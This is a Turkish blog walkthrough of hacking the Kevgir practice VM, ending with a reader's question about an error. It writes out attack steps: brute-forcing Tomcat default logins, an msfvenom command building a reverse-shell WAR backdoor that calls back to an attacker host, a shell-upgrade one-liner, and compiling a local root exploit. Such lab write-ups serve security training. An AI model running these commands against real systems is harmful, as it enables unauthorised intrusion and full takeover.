Bu yazıda canyoupwn.me ekibinden Robinin hazırladığı Kevgir adlı sanal makineye sızarak daha sonra yetki yükseltme aşamaları ile bir sızma testi senaryosu inceleyeceğiz.Öncelikle https://canyoupwn.me/kevgir-vulnerable-vm/ adresinden Kevgiri indirerek bir sanal makinede açıyoruz.Lafı çok uzatmadan konuya gireyim 🙂 Eğer Linux,Nmap ve Metasploit gibi konulara hakim değil iseniz daha önceden hazırlamış olduğum Temel Ağ Sızma Testine Giriş dökümanıma göz atıp yazıyı okumanız daha faydalı olur.
Nmap ile keşif taramasına başlıyoruz.Çalışan servisleri ve versiyonları tespit ettikten sonra bu servisleri ve versiyonları detaylıca araştırarak bir zaafiyet varmı exploit db de yada başka site ve bloglarda bir şey varsa o hedef üzerinden sızmaya çalışılır.Bu makinede birden fazla açıklık bulunmakta fakat ben Tomcat üzerinden gideceğim.
Metasploiti açarak tomcat ile ilgili auxiliary ve exploitleri arıyoruz.
İlk olarak tomcat_mgr_login auxiliary ile tomcat servisinin ön tanımlı parolalarını deniyoruz.Amacımız kaba kuvvet (brute-force) yöntemi ile kullanıcı adı ve parolasını tespit etmek.
Görüldüğü üzere kullanıcı adı tomcat ve parolası tomcat olarak tespit ettik. Genelde bir çok servis kurulum sırasındaki varsayılan olarak kullanılan parolaları kullanmakta ve bu çok büyük riskler oluşturmakta. Kurulum sırasında ya da sonrasında varsayılan kullanıcı adı ve parola bilgisini mutlaka değiştirilmesi gerekmektedir.
Kullanıcı adı ve parolasını tespit ettikten sonra tomcat_mgr_upload exploitini kullanarak sisteme sızmaya çalışıyoruz.Tabi 192.168.237.137:8080/manager adresi ile tarayıcıdan tomcat a giriş yaparak shellde atabilirsiniz.Farklı yollar ve yöntemler mevcut.Exploitin çalışması için gerekli parametreleri set ettikten sonra exploitimizi çalıştırıyoruz ve meterpreter e düşmüş bulunmaktayız.
Şimdi bir başka yol ile web adresi üzerinden bulduğumuz kullanıcı adı ve parola ile login olarak msfvenom ile backdoor oluşturup bu backdoor yardımı ile shell almayı göstereceğim.
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.237.128 LPORT=4444 -f war > /root/Desktop/shell.war
ile shell.war adında jsp backdoor u oluşturuyoruz.
jar -xvf shell.war komutu ile shell.war içindekileri dışarı çıkarıp dosyaları görebilmekteyiz. Yükledikten sonra açacağımız jsp dosyasının adı önemli.
192.168.237.137:8080/manager/ adresini tarayıcıdan girerek tomcat in web arayüzüne girebiliriz.girişte kullanıcı adı ve parola sorulacak biraz önce yukarıda elde ettiğimiz tomcat:tomcat kullanıcı adı ve parolasıyla erişebileceğiz.
Giriş yaptıkdan sonra tomcatin içinden wat dosyamızı upload adarak bacdoorumuzu sisteme yüklüyoruz.
Dosyamızı yükledikden sonra metasploite girerek backdoorumuzu çalıştırmadan önce gerekli nodulümüze bağlanacağımız bacdoor payloadımızı ve bilgilerimizi giriyoruz.
Bu noktadan sonra tek yapmamız gereken 192.168.237.137:8080/shell/hoxafoxvkhn.jsp adresimizi tarayıcadan girerek backdoorumuzu çalıştırıp metasploit ile shell açmak.
Yukarıda gördüğünüz gibi shell açıldı.Bu senaryoda hem metasploit modülü ile hemde kendi backdoorumuzu web arayüzünden yükleyerek iki farklı yoldan shell aldık.Bu aşamadan sonra Privileges Escalation ve Post Exploitation aşamaları gerçekleştirmemiz gerekmektedir.Şimdi dönelim meterpreter komut satırından sonra yapacaklarımıza.
Meterpreter komut satırında shell yazarak linux komut satırına düşüyoruz.Fakat buradaki komut satırı etkilişimli değil.Bu demek oluyor ki girdi bekleyen linux komutlarını çalıştıramıyoruz.Mesala kullanıcı değiştirirken sudo su komutunu girdikten sonra parola girdisi istiyor bu shell buna imkan vermiyor.
python -c ‘import pty; pty.spawn(“/bin/sh”)’ yazarak shellimizi etkileşimli shelle çeviriyoruz.Resimdede gördüğünüz gibi artık $ işareti geldi.home dizinine giderek orada user ve admin olarak iki kullanıcı olduğunu gördük.Şimdi buradaki admin kullanıcısı aklınızı karıştırmasın.Ali,Ahmet gibi bir kullanıcı yetkili bir kullanıcı değil linuxta en yetkili kullanıcı root tur.Bu sistemdede hedefimiz root olmak.Şimdi burdaki admin kullanıcısına geçmeye çalışacağız.Aynı tomcat servisinde olduğu gibi varsayılan / zayıf parolalar denenmektedir. Admin kullanıcısının parolasıda en çok kullanılan birkaç paroladan olan 123456,password, admin gibi parolaları denedim bunlardan admin parolası, admin kullanıcısının parolası olduğunu tespit ettim ve admin kullanıcısına geçiş yaptık.
Şimdi uname -a komutu ile sistemin çekirdek bilgisini öğrendik.14.04.1 Ubuntu çalışmakta.Şuan admin kullanıcısındayız yapacağımız işlemler kısıtlı bunun için root kullanıcısına geçmemiz gerekmekte.Bunun içinde Local Root Exploitler bulunmakta şansımıza var ise bu exploit türünü çalıştırırak bulunduğunuz kullanıcıdan root kullanıcısına geçmemizi sağlamakta.
Googleda şöyle bir arama yaparak Local Root Exploitimizi buluyoruz.
Bulduğumuz exploiti kopyalayarak shell aldığımız terminalde bir .c dosyası açarak içine yapıştırıyoruz.Yada başa bir şekilde bu exploit dosyasını shell aldığımız makinaya yüklüyoruz.
Burada vim ile localexploit.c adında bir dosya oluşturuyoruz ve içine kopyaladığımız exploiti yapıştırıyoruz.Yapıştırıken CTRL+SHIFT+V tuş kombinasyonunu kullanabilirsiniz.
Yapıştırdıktan sonra vimde ESC ye basarak :wq komutu ile dosyamızı kaydetip çıkıyoruz.
Dosyamızı kaydetip çıktıktan sonra gcc localexploit.c komutu ile c kodumuzu derliyoruz.Ve bize derlenmiş olarak a.out çıktısını veriyor.Bunuda ./a.out komutu ile çalıştırdığımızda sistemde root kullanıcısına geçiyoruz.Bundan sonra sistemde istediğiniz her şeyi yapabilirsiniz.Sınırsız yetkiye sahipsiniz.
Merhaba, backdoor’u tarayıcıdan çalıstırmaya çalıstıgımda JSP sınıfı derlenemiyor hatası alıyorum hocam nasıl çözebilirim teşekkürler.